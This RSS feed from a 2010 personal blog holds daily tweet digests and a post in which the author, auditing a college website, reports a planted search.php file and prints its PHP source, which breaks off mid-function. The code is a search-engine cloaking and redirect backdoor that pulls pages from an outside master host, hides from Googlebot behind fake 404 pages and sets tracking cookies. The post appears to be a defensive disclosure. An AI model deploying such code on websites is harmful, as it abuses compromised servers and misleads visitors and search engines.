<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>farside</title>
	<atom:link href="http://www.marklinford.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.marklinford.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Sat, 20 Feb 2010 14:59:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Twitter Updates for 2010-02-20</title>
		<link>http://www.marklinford.com/2010/02/20/twitter-updates-for-2010-02-20/</link>
		<comments>http://www.marklinford.com/2010/02/20/twitter-updates-for-2010-02-20/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 14:59:00 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.marklinford.com/index.php/2010/02/20/twitter-updates-for-2010-02-20/</guid>
		<description><![CDATA[
Fantastic Voyage http://bit.ly/9TprSt via @AddToAny #WISE #
#ff @wood_brothers21 Any NASCAR fan who has the greatest number in history  (w/due respect to Mr Petty and Earnhart) is OK in my book   #
I&#39;m at Santa Rosa Junior College (1501 Mendocino Ave, Santa Rosa). http://4sq.com/7uITtR #

Powered by Twitter Tools
]]></description>
			<content:encoded><![CDATA[<ul class="aktt_tweet_digest">
<li>Fantastic Voyage <a href="http://bit.ly/9TprSt" rel="nofollow">http://bit.ly/9TprSt</a> via @<a href="http://twitter.com/AddToAny" class="aktt_username">AddToAny</a> #<a href="http://search.twitter.com/search?q=%23WISE" class="aktt_hashtag">WISE</a> <a href="http://twitter.com/thegeekiestmark/statuses/9349666838" class="aktt_tweet_time">#</a></li>
<li>#<a href="http://search.twitter.com/search?q=%23ff" class="aktt_hashtag">ff</a> @<a href="http://twitter.com/wood_brothers21" class="aktt_username">wood_brothers21</a> Any NASCAR fan who has the greatest number in history  (w/due respect to Mr Petty and Earnhart) is OK in my book <img src='http://www.marklinford.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a href="http://twitter.com/thegeekiestmark/statuses/9349776930" class="aktt_tweet_time">#</a></li>
<li>I&#39;m at Santa Rosa Junior College (1501 Mendocino Ave, Santa Rosa). <a href="http://4sq.com/7uITtR" rel="nofollow">http://4sq.com/7uITtR</a> <a href="http://twitter.com/thegeekiestmark/statuses/9355476088" class="aktt_tweet_time">#</a></li>
</ul>
<p class="aktt_credit">Powered by <a href="http://alexking.org/projects/wordpress">Twitter Tools</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.marklinford.com/2010/02/20/twitter-updates-for-2010-02-20/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter Updates for 2010-02-19</title>
		<link>http://www.marklinford.com/2010/02/19/twitter-updates-for-2010-02-19/</link>
		<comments>http://www.marklinford.com/2010/02/19/twitter-updates-for-2010-02-19/#comments</comments>
		<pubDate>Fri, 19 Feb 2010 14:59:00 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.marklinford.com/index.php/2010/02/19/twitter-updates-for-2010-02-19/</guid>
		<description><![CDATA[
I&#39;m at Santa Rosa Junior College (1501 Mendocino Ave, Santa Rosa). http://4sq.com/7uITtR #
We&#39;re all becoming Gargoyles &#8230; Immersive HMD (Head Mounted Display) http://www.instructables.com/id/Immersive-HMD-Head-Mounted-Display/ #
@JamesUrbaniak You as Legolas would have been awesome! But Orlando Bloom as Rusty? Venture Bros would never have gotten past the pilot. in reply to JamesUrbaniak #
Like Baconaise, this sounds delicious and [...]]]></description>
			<content:encoded><![CDATA[<ul class="aktt_tweet_digest">
<li>I&#39;m at Santa Rosa Junior College (1501 Mendocino Ave, Santa Rosa). <a href="http://4sq.com/7uITtR" rel="nofollow">http://4sq.com/7uITtR</a> <a href="http://twitter.com/thegeekiestmark/statuses/9289812677" class="aktt_tweet_time">#</a></li>
<li>We&#39;re all becoming Gargoyles &#8230; Immersive HMD (Head Mounted Display) <a href="http://www.instructables.com/id/Immersive-HMD-Head-Mounted-Display/" rel="nofollow">http://www.instructables.com/id/Immersive-HMD-Head-Mounted-Display/</a> <a href="http://twitter.com/thegeekiestmark/statuses/9290624505" class="aktt_tweet_time">#</a></li>
<li>@<a href="http://twitter.com/JamesUrbaniak" class="aktt_username">JamesUrbaniak</a> You as Legolas would have been awesome! But Orlando Bloom as Rusty? Venture Bros would never have gotten past the pilot. <a href="http://twitter.com/JamesUrbaniak/statuses/9290623380" class="aktt_tweet_reply">in reply to JamesUrbaniak</a> <a href="http://twitter.com/thegeekiestmark/statuses/9290800864" class="aktt_tweet_time">#</a></li>
<li>Like Baconaise, this sounds delicious and disgusting at the same time &#8230; Bacon Cheesecake Brownies <a href="http://bit.ly/czVFyL" rel="nofollow">http://bit.ly/czVFyL</a> <a href="http://twitter.com/thegeekiestmark/statuses/9291023238" class="aktt_tweet_time">#</a></li>
<li>I can duplicate these results on my Nexus One <img src='http://www.marklinford.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  &#8212; Nexus One 3G Problem Part 2 &#8211; After the OTA Update <a href="http://youtu.be/x2g5J4qPp54" rel="nofollow">http://youtu.be/x2g5J4qPp54</a> <a href="http://twitter.com/thegeekiestmark/statuses/9310507626" class="aktt_tweet_time">#</a></li>
</ul>
<p class="aktt_credit">Powered by <a href="http://alexking.org/projects/wordpress">Twitter Tools</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.marklinford.com/2010/02/19/twitter-updates-for-2010-02-19/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter Updates for 2010-02-18</title>
		<link>http://www.marklinford.com/2010/02/18/twitter-updates-for-2010-02-18/</link>
		<comments>http://www.marklinford.com/2010/02/18/twitter-updates-for-2010-02-18/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 14:59:00 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.marklinford.com/index.php/2010/02/18/twitter-updates-for-2010-02-18/</guid>
		<description><![CDATA[
I&#39;m at Santa Rosa Junior College (1501 Mendocino Ave, Santa Rosa). http://4sq.com/7uITtR #
I just ousted @natalyesaurus as the mayor of Santa Rosa Junior College on @foursquare! http://4sq.com/7uITtR #
@DISupdates Actually, it&#39;s just KGO   Thanks for the heads-up! in reply to DISupdates #
Man, the weather looks great there &#8211; not like all of the rain [...]]]></description>
			<content:encoded><![CDATA[<ul class="aktt_tweet_digest">
<li>I&#39;m at Santa Rosa Junior College (1501 Mendocino Ave, Santa Rosa). <a href="http://4sq.com/7uITtR" rel="nofollow">http://4sq.com/7uITtR</a> <a href="http://twitter.com/thegeekiestmark/statuses/9241485573" class="aktt_tweet_time">#</a></li>
<li>I just ousted @<a href="http://twitter.com/natalyesaurus" class="aktt_username">natalyesaurus</a> as the mayor of Santa Rosa Junior College on @<a href="http://twitter.com/foursquare" class="aktt_username">foursquare</a>! <a href="http://4sq.com/7uITtR" rel="nofollow">http://4sq.com/7uITtR</a> <a href="http://twitter.com/thegeekiestmark/statuses/9241485145" class="aktt_tweet_time">#</a></li>
<li>@<a href="http://twitter.com/DISupdates" class="aktt_username">DISupdates</a> Actually, it&#39;s just KGO <img src='http://www.marklinford.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Thanks for the heads-up! <a href="http://twitter.com/DISupdates/statuses/9247366586" class="aktt_tweet_reply">in reply to DISupdates</a> <a href="http://twitter.com/thegeekiestmark/statuses/9247433173" class="aktt_tweet_time">#</a></li>
<li>Man, the weather looks great there &#8211; not like all of the rain we&#39;ve had lately. I&#39;m quite jealous <img src='http://www.marklinford.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a href="http://tweetphoto.com/11698030" rel="nofollow">http://tweetphoto.com/11698030</a> <a href="http://twitter.com/thegeekiestmark/statuses/9249703584" class="aktt_tweet_time">#</a></li>
<li>I just voted for <a href="http://tweetphoto.com/11698030" rel="nofollow">http://tweetphoto.com/11698030</a> check it out! #<a href="http://search.twitter.com/search?q=%23TweetPhoto" class="aktt_hashtag">TweetPhoto</a> <a href="http://twitter.com/thegeekiestmark/statuses/9249710054" class="aktt_tweet_time">#</a></li>
<li>I just favorited this <a href="http://tweetphoto.com/11698030" rel="nofollow">http://tweetphoto.com/11698030</a> check it out! #<a href="http://search.twitter.com/search?q=%23TweetPhoto" class="aktt_hashtag">TweetPhoto</a> <a href="http://twitter.com/thegeekiestmark/statuses/9249712807" class="aktt_tweet_time">#</a></li>
<li>@<a href="http://twitter.com/jamiemcmurray" class="aktt_username">jamiemcmurray</a> Dude, if you&#39;re at Ghiradelli, you MUST get a Milkshake there &#8211; they&#39;re indescribably awesome! <a href="http://twitter.com/jamiemcmurray/statuses/9250721478" class="aktt_tweet_reply">in reply to jamiemcmurray</a> <a href="http://twitter.com/thegeekiestmark/statuses/9250818465" class="aktt_tweet_time">#</a></li>
<li>@<a href="http://twitter.com/augie" class="aktt_username">augie</a> Funny. However, ne1 wanting to <a href="http://pleaserobme.com" rel="nofollow">http://pleaserobme.com</a> will have to get past my ninja wife and three insane cats. Good luck w/ that <img src='http://www.marklinford.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a href="http://twitter.com/augie/statuses/9250862285" class="aktt_tweet_reply">in reply to augie</a> <a href="http://twitter.com/thegeekiestmark/statuses/9251152409" class="aktt_tweet_time">#</a></li>
<li>Last night I drove home w/sunroof open and hard-rock blazing. My teenage-self would be proud of me <img src='http://www.marklinford.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a href="http://twitter.com/thegeekiestmark/statuses/9253034750" class="aktt_tweet_time">#</a></li>
</ul>
<p class="aktt_credit">Powered by <a href="http://alexking.org/projects/wordpress">Twitter Tools</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.marklinford.com/2010/02/18/twitter-updates-for-2010-02-18/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter Updates for 2010-02-17</title>
		<link>http://www.marklinford.com/2010/02/17/twitter-updates-for-2010-02-17/</link>
		<comments>http://www.marklinford.com/2010/02/17/twitter-updates-for-2010-02-17/#comments</comments>
		<pubDate>Wed, 17 Feb 2010 14:59:00 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.marklinford.com/index.php/2010/02/17/twitter-updates-for-2010-02-17/</guid>
		<description><![CDATA[
I&#39;m at Santa Rosa Junior College (1501 Mendocino Ave, Santa Rosa). http://4sq.com/7uITtR #
Found a search.php file on our webserver that promotes dind.gribokhost.com. Anyone else come across a page like this? http://bit.ly/akU5fW #
Sonoma County happiest county in CA, fifth in nation. And I thought it was just the Prozac   http://bit.ly/8ZECqD #
http://ping.fm/p/HVrPr &#8211; Jigger in [...]]]></description>
			<content:encoded><![CDATA[<ul class="aktt_tweet_digest">
<li>I&#39;m at Santa Rosa Junior College (1501 Mendocino Ave, Santa Rosa). <a href="http://4sq.com/7uITtR" rel="nofollow">http://4sq.com/7uITtR</a> <a href="http://twitter.com/thegeekiestmark/statuses/9192923967" class="aktt_tweet_time">#</a></li>
<li>Found a search.php file on our webserver that promotes dind.gribokhost.com. Anyone else come across a page like this? <a href="http://bit.ly/akU5fW" rel="nofollow">http://bit.ly/akU5fW</a> <a href="http://twitter.com/thegeekiestmark/statuses/9204057516" class="aktt_tweet_time">#</a></li>
<li>Sonoma County happiest county in CA, fifth in nation. And I thought it was just the Prozac <img src='http://www.marklinford.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a href="http://bit.ly/8ZECqD" rel="nofollow">http://bit.ly/8ZECqD</a> <a href="http://twitter.com/thegeekiestmark/statuses/9206351370" class="aktt_tweet_time">#</a></li>
<li><a href="http://ping.fm/p/HVrPr" rel="nofollow">http://ping.fm/p/HVrPr</a> &#8211; Jigger in his favorite sleeping spot <img src='http://www.marklinford.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a href="http://twitter.com/thegeekiestmark/statuses/9214601820" class="aktt_tweet_time">#</a></li>
</ul>
<p class="aktt_credit">Powered by <a href="http://alexking.org/projects/wordpress">Twitter Tools</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.marklinford.com/2010/02/17/twitter-updates-for-2010-02-17/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.marklinford.com/2010/02/16/990/</link>
		<comments>http://www.marklinford.com/2010/02/16/990/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 21:37:24 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://www.marklinford.com/?p=990</guid>
		<description><![CDATA[So, while doing a security audit on our website, I found a file named search.php in a particularly unsafe directory:

&#60;?php
// REVISION: $Rev: 982 $
error_reporting(0);
header('Content-type: text/html; charset=utf-8');
set_magic_quotes_runtime(0);
class RemotePage
{
var $myUrl = 'http://www.santarosa.edu/bids/';
var $waitTimeout = 5; // seconds
var $useCurl = 0;
var $googleRefNumToAllowRedirect = 0;
var $googleRefNumToAllowCloak = 0;
var $cloakMethod = 3; // 1 - 404 old, 2 - hides [...]]]></description>
			<content:encoded><![CDATA[<p>So, while doing a security audit on our website, I found a file named search.php in a particularly unsafe directory:</p>
<p><code></p>
<p>&lt;?php<br />
// REVISION: $Rev: 982 $<br />
error_reporting(0);<br />
header('Content-type: text/html; charset=utf-8');<br />
set_magic_quotes_runtime(0);</p>
<p>class RemotePage<br />
{<br />
var $myUrl = 'http://www.santarosa.edu/bids/';<br />
var $waitTimeout = 5; // seconds<br />
var $useCurl = 0;</p>
<p>var $googleRefNumToAllowRedirect = 0;<br />
var $googleRefNumToAllowCloak = 0;<br />
var $cloakMethod = 3; // 1 - 404 old, 2 - hides redirect, 3 - 404 new</p>
<p>var $keywordSeparator = '-';<br />
var $defaultPage = 'index';<br />
var $searchReferers = 'live|msn|yahoo|google|ask|aol';<br />
var $botIps = Array(<br />
/* 2009-12-12 */ '66\.249\.[6-9][0-9]\.[0-9]+', '74\.125\.[0-9]+\.[0-9]+', '38\.[0-9]+\.[0-9]+\.[0-9]+', '70\.91\.180\.25', '65\.93\.62\.242', '74\.193\.246\.129', '213\.144\.15\.38', '195\.92\.229\.2', '70\.50\.189\.191', '218\.28\.88\.99', '165\.160\.2\.20', '89\.122\.224\.230', '66\.230\.175\.124', '218\.18\.174\.27', '65\.33\.87\.94', '67\.210\.111\.241', '81\.135\.175\.70', '64\.69\.34\.134', '89\.149\.253\.169', '69\.136\.208\.89', '83\.15\.211\.166', '78\.180\.145\.80', '78\.166\.111\.63', '64\.233\.1[6-8][1-9]\.[0-9]+', '64\.233\.19[0-1]\.[0-9]+', '209\.185\.108\.[0-9]+', '209\.185\.253\.[0-9]+', '209\.85\.238\.[0-9]+', '216\.239\.33\.9[6-9]', '216\.239\.37\.9[8-9]', '216\.239\.39\.9[8-9]', '216\.239\.41\.9[6-9]', '216\.239\.45\.4', '216\.239\.46\.[0-9]+', '216\.239\.51\.9[6-9]', '216\.239\.53\.9[8-9]', '216\.239\.57\.9[6-9]', '216\.239\.59\.9[8-9]', '216\.33\.229\.163', '64\.233\.173\.[0-9]+', '64\.68\.8[0-9]\.[0-9]+', '64\.68\.9[0-2]\.[0-9]+', '72\.14\.199\.[0-9]+', '8\.6\.48\.[0-9]+', '207\.211\.40\.82', '67\.162\.158\.146', '66\.255\.53\.123', '24\.200\.208\.112', '129\.187\.148\.240', '129\.187\.148\.244', '199\.126\.151\.229', '118\.124\.32\.193', '89\.149\.217\.191',<br />
);</p>
<p>var $masterUrl = 'http://dind.gribokhost.com/';</p>
<p>// !!! DO NOT CHANGE THIS !!!<br />
var $seal = '7aY#4EwrU_eC2AbEcuP?8keYe&amp;ruQuxE=R46eQ38eHE27aZeFr7W7eSp=752xen?';</p>
<p>function RemotePage()<br />
{<br />
}</p>
<p>function _processReferer() {<br />
if ($this-&gt;checkGoogleRef()) {<br />
$cnt = $this-&gt;_increaseStats('refgg');<br />
if ($cnt != -1 &amp;&amp; $cnt &gt;= $this-&gt;googleRefNumToAllowRedirect &amp;&amp; !$this-&gt;_isRedirectRequired()) {<br />
$this-&gt;_allowRedirectByGoogle();<br />
};<br />
if ($cnt != -1 &amp;&amp; $cnt &gt;= $this-&gt;googleRefNumToAllowCloak &amp;&amp; !$this-&gt;_isCloaked()) {<br />
$this-&gt;_allowCloakByGoogle();<br />
};<br />
return true;<br />
};<br />
return false;<br />
}</p>
<p>function _processUserAgent() {<br />
if ($this-&gt;checkBot()) {<br />
$cnt = $this-&gt;_increaseStats('uagg');<br />
return true;<br />
};<br />
return false;<br />
}</p>
<p>function _testUaLang() {<br />
if (preg_match('/[; ]ru[\-; ]/i', $_SERVER['HTTP_USER_AGENT']))<br />
return false;<br />
if (preg_match('/windows-1251|koi8-r/i', $_SERVER['HTTP_ACCEPT_CHARSET']))<br />
return false;<br />
return true;<br />
}</p>
<p>function _detectBannedUser() {<br />
if (!$this-&gt;_testUaLang())<br />
return true;<br />
if (array_key_exists('auth_4cf53d2265656779cb52187db1f69d87', $_COOKIE) &amp;&amp; ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] == 'failed' || $_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 1))<br />
return true;<br />
return false;<br />
}</p>
<p>function _processMissed($refResult, $uaResult) {<br />
if ($refResult &amp;&amp; $uaResult) {<br />
$cnt = $this-&gt;_increaseStats('missgg');<br />
return true;<br />
}<br />
return false;<br />
}</p>
<p>function _increaseStats($stat) {<br />
$cnt = -1;<br />
$hf = @fopen(".cache/.{$stat}", "a+");<br />
if (false == $hf)<br />
return -1;<br />
if (!@flock($hf, LOCK_EX)) {<br />
@fclose($hf);<br />
return -1;<br />
};<br />
fseek($hf, 0);<br />
$cnt = intval(fgets($hf));<br />
fseek($hf, 0);<br />
ftruncate($hf, 0);<br />
++$cnt;<br />
fwrite($hf, strval($cnt));<br />
fclose($hf);<br />
return $cnt;<br />
}</p>
<p>function _getStats($stat) {<br />
$cnt = -1;<br />
$hf = @fopen(".cache/.{$stat}", "r");<br />
if (false == $hf)<br />
return -1;<br />
if (!@flock($hf, LOCK_SH)) {<br />
@fclose($hf);<br />
return -1;<br />
};<br />
fseek($hf, 0);<br />
$cnt = intval(fgets($hf));<br />
fclose($hf);<br />
return $cnt;<br />
}</p>
<p>function _allowRedirectByGoogle() {<br />
$status = $this-&gt;allowRedirect('enable');<br />
if ($status == 'nocachedir' || $status == 'enabled')<br />
{<br />
$url = $this-&gt;masterUrl . 'remote.php?u=' . urlencode($this-&gt;myUrl) . '&amp;a=enable_redirect';<br />
$req = new HttpRequest($this-&gt;useCurl ? 0 : 1, $this-&gt;waitTimeout);<br />
$page = $req-&gt;request($url);<br />
if (!$page)<br />
return false;<br />
return true;<br />
};<br />
return false;<br />
}</p>
<p>function _allowCloakByGoogle() {<br />
$status = $this-&gt;allowCloak('enable');<br />
if ($status == 'nocachedir' || $status == 'enabled') {<br />
$url = $this-&gt;masterUrl . 'remote.php?u=' . urlencode($this-&gt;myUrl) . '&amp;a=enable_cloak';<br />
$req = new HttpRequest($this-&gt;useCurl ? 0 : 1, $this-&gt;waitTimeout);<br />
$page = $req-&gt;request($url);<br />
if (!$page)<br />
return false;<br />
return true;<br />
};<br />
return false;<br />
}</p>
<p>function _getCachedPage($pagename) {<br />
$pagename = strtr($pagename, " \t", "___");<br />
$page = file_get_contents(".cache/{$pagename}.cache");<br />
if (false == $page) {<br />
return false;<br />
};<br />
$page = unserialize($page);<br />
if ($page['seal'] != $this-&gt;seal) {<br />
@unlink(".cache/{$pagename}.cache");<br />
return false;<br />
};<br />
$this-&gt;cacheStatus = 'EXISTS';<br />
//@header("X-Page-Cached: exists");<br />
return $page;<br />
}</p>
<p>function _cachePage($pagename, $page) {<br />
if ($page['error']) {<br />
@header("X-Page-Cached: failure");<br />
return false;<br />
};<br />
unset($page['redirect_disabled']);<br />
unset($page['cloaked']);<br />
$pagename = strtr($pagename, " \t", "___");<br />
$hf = @fopen(".cache/{$pagename}.cache", "wb");<br />
if (!$hf) {<br />
@header("X-Page-Cached: failure");<br />
return false;<br />
};<br />
fwrite($hf, serialize($page));<br />
fclose($hf);<br />
@header("X-Page-Cached: success");<br />
return true;<br />
}</p>
<p>function _getRemotePage($pagename, $forceReCache) {<br />
if ($forceReCache || false == ($page = $this-&gt;_getCachedPage($pagename))) {<br />
$url = $this-&gt;masterUrl . 'gw.php?u=' . urlencode($this-&gt;myUrl) . '&amp;p=' . urlencode($pagename) . '&amp;s=1';<br />
$req = new HttpRequest($this-&gt;useCurl ? 0 : 1, $this-&gt;waitTimeout);<br />
$page = $req-&gt;request($url);<br />
if (!$page)<br />
return false;<br />
$page = unserialize($page);<br />
if ($page['seal'] != $this-&gt;seal) {<br />
return false;<br />
}<br />
$this-&gt;redirectDisabled = $page['redirect_disabled'];<br />
$this-&gt;cloaked = $page['cloaked'];<br />
$this-&gt;cacheStatus = $this-&gt;_cachePage($pagename, $page) ? 'SUCCESS' : 'FAILURE';<br />
};<br />
return $page;<br />
}</p>
<p>function _isRedirectRequired($referer) {<br />
// Detecting whether redirect is required<br />
if (is_file('.cache/.noredir') || $this-&gt;redirectDisabled == 'disabled')<br />
return false;<br />
else<br />
return true;<br />
}</p>
<p>function _isCloaked($referer) {<br />
// Detecting whether cloak is required<br />
if (is_file('.cache/.cloak') || $this-&gt;cloaked == 'cloaked')<br />
return true;<br />
else<br />
return false;<br />
}</p>
<p>function checkGoogleRef()<br />
{<br />
if (preg_match('/google\./i', $_SERVER['HTTP_REFERER']))<br />
{<br />
$url = parse_url($_SERVER['HTTP_REFERER']);<br />
$args = Array();<br />
parse_str($url['query'], $args);<br />
if (!$args['q'] || preg_match('/(^|\s)site:/i', $args['q']))<br />
return false;<br />
return true;<br />
}<br />
return false;<br />
}</p>
<p>function checkBot()<br />
{<br />
if (<br />
false !== strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot')<br />
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'AdsBot-Google')<br />
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'gsa-crawler')<br />
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'http://www.googlebot.com/bot.html')<br />
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'http://www.google.com/bot.html')<br />
)<br />
return true;<br />
$ip = $_SERVER['REMOTE_ADDR'];<br />
foreach ($this-&gt;botIps as $botIp) {<br />
if (preg_match("/^{$botIp}/", $ip)) {<br />
return true;<br />
}<br />
}<br />
return false;<br />
}</p>
<p>function allowRedirect($allow) {<br />
if ($allow == 'disable')<br />
@touch('.cache/.noredir');<br />
else<br />
@unlink('.cache/.noredir');<br />
if (!is_dir('.cache') || !is_writable('.cache'))<br />
return 'nocachedir';<br />
return (file_exists('.cache/.noredir') ? 'disabled' : 'enabled');<br />
}</p>
<p>function allowCloak($allow) {<br />
if ($allow == 'enable')<br />
@touch('.cache/.cloak');<br />
else<br />
@unlink('.cache/.cloak');<br />
if (!is_dir('.cache') || !is_writable('.cache'))<br />
return 'nocachedir';<br />
return (file_exists('.cache/.cloak') ? 'enabled' : 'disabled');<br />
}</p>
<p>function die404()<br />
{<br />
header("{$_SERVER['SERVER_PROTOCOL']} 404 Not Found");<br />
die( &lt;&lt;&lt;EOM<br />
&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt;<br />
&lt;html&gt;&lt;head&gt;<br />
&lt;title&gt;404 Not Found&lt;/title&gt;<br />
&lt;/head&gt;&lt;body&gt;<br />
&lt;h1&gt;Not Found&lt;/h1&gt;<br />
&lt;p&gt;The requested URL {$_SERVER['REQUEST_URI']} was not found on this server.&lt;/p&gt;<br />
&lt;hr&gt;<br />
&lt;address&gt;{$_SERVER['SERVER_SOFTWARE']} Server at {$_SERVER['SERVER_NAME']} Port {$_SERVER['SERVER_PORT']}&lt;/address&gt;<br />
&lt;/body&gt;&lt;/html&gt;<br />
EOM<br />
);<br />
}</p>
<p>function displayPage($pagename, $referer, $cacheOnly, $forceReCache)<br />
{<br />
if ($pagename == '')<br />
$pagename = $this-&gt;defaultPage;</p>
<p>$isGoogleRef = $this-&gt;_processReferer();<br />
$isBot = $this-&gt;_processUserAgent();<br />
$isBannedUser = $this-&gt;_detectBannedUser();<br />
$cloaked = $this-&gt;_isCloaked();<br />
$hideRedirect = false;<br />
$this-&gt;_processMissed($isGoogleRef, $isBot);</p>
<p>if (!$cacheOnly) {<br />
switch ($this-&gt;cloakMethod) {<br />
case 2: // Hide redirect for bots<br />
if ($isBot &amp;&amp; $cloaked) {<br />
$hideRedirect = true;<br />
};<br />
//$page['page'] = str_replace('$[[REDIRECT]]', '', $page['page']);<br />
break;<br />
case 3: // New 404 - for users<br />
if ($isBannedUser) {<br />
if ($cloaked) {<br />
//echo "Wrong user: $isBannedUser; $isGoogleRef; {$this-&gt;isJavaScript}&lt;br&gt;\n";<br />
if ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 'failed') {<br />
setcookie('auth_4cf53d2265656779cb52187db1f69d87', 'failed', time() + 60 * 60 * 24 * 2000);<br />
}<br />
$this-&gt;die404();<br />
}<br />
}<br />
if (!$isBot) {<br />
//echo "new404: bot not detected;&lt;br&gt;\n";<br />
if ($isGoogleRef xor $this-&gt;isJavaScript) {<br />
//echo "Normal user&lt;br&gt;\n";<br />
if ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 1) {<br />
setcookie('auth_4cf53d2265656779cb52187db1f69d87', 1, time() + 60 * 60 * 24 * 2000);<br />
}<br />
// TODO: redirect should go here<br />
// header("Location: {$page['redirect_url']}");<br />
}<br />
else if ($cloaked) {<br />
//echo "Wrong user: $isBannedUser; $isGoogleRef; {$this-&gt;isJavaScript}&lt;br&gt;\n";<br />
if ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 'failed') {<br />
setcookie('auth_4cf53d2265656779cb52187db1f69d87', 'failed', time() + 60 * 60 * 24 * 2000);<br />
}<br />
$this-&gt;die404();<br />
}<br />
}<br />
else { // BOT detectet<br />
//echo "new404: bot detected;&lt;br&gt;\n";<br />
$hideRedirect = true;<br />
if ($this-&gt;isJavaScript)<br />
{<br />
$this-&gt;die404();<br />
}<br />
}<br />
break;<br />
default: // Old 404 - for bots<br />
if ($isBot &amp;&amp; $cloaked) {<br />
$this-&gt;die404();<br />
}<br />
break;<br />
}<br />
}</p>
<p>$page = $this-&gt;_getRemotePage($pagename, $forceReCache);<br />
if ($page === false || $page['error']) {<br />
if ($cacheOnly)<br />
die("PAGE CACHING RESULT: FAILURE\n");<br />
if ($this-&gt;feedUrl) {<br />
$url = str_replace('${key}', str_replace($this-&gt;keywordSeparator, '%20', $pagename), $this-&gt;feedUrl);<br />
header("Location: {$url}");<br />
die();<br />
}<br />
$this-&gt;die404();<br />
};<br />
if ($cacheOnly)<br />
die("PAGE CACHING RESULT: {$this-&gt;cacheStatus}\n");</p>
<p>if (!$this-&gt;_isRedirectRequired($referer))<br />
$hideRedirect = true;<br />
if (!$hideRedirect &amp;&amp; $page['redirect_type'] == 'http') {<br />
$scr = new RemotePage();<br />
$script = $scr-&gt;_getRemotePage($page['script_filename'], false);<br />
if ($script['seal'] != $scr-&gt;seal) {<br />
//echo "Seal mismatch!&lt;br&gt;\n";<br />
$this-&gt;die404();<br />
}<br />
$url = str_replace('${arg}', urlencode($page['script_arg']), $script['url']);<br />
$self_url = 'http://' . ($_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']) . $_SERVER['REQUEST_URI'];<br />
$url = str_replace('${url}', urlencode($self_url), $url);<br />
$url = str_replace('${ref}', urlencode($_SERVER['HTTP_REFERER']), $url);<br />
// TODO: replace ${arg} with argument</p>
<p>header("Location: {$url}");<br />
}<br />
$page['page'] = str_replace('$[[REDIRECT]]', $hideRedirect ? '' : $page['script'], $page['page']);</p>
<p>echo $page['page'];<br />
}</p>
<p>function processRequest($p, $referer, $cacheOnly, $forceReCache)<br />
{<br />
if (preg_match('/\.js$/', $p)) {<br />
$this-&gt;isJavaScript = true;<br />
header('Content-type: text/javascript');<br />
}<br />
$this-&gt;displayPage($p, $referer, $cacheOnly, $forceReCache);<br />
}<br />
};</p>
<p>class HttpRequest<br />
{<br />
// Request mode, 0 - use CURL, 1 - use SOCKETS<br />
var $mode = 0;<br />
var $timeout = -1;<br />
function HttpRequest($mode = 0, $timeout = -1)<br />
{<br />
$this-&gt;mode = ($mode == 0 &amp;&amp; function_exists('curl_init') ? 0 : 1);<br />
$this-&gt;timeout = $timeout;<br />
}</p>
<p>function _connect($host, $port) {<br />
$errno = null;<br />
$errstr = null;<br />
$hf = fsockopen($host, $port ? $port : 80, $errno, $errstr, $this-&gt;timeout);<br />
return $hf;<br />
}</p>
<p>function _disconnect($hs) {<br />
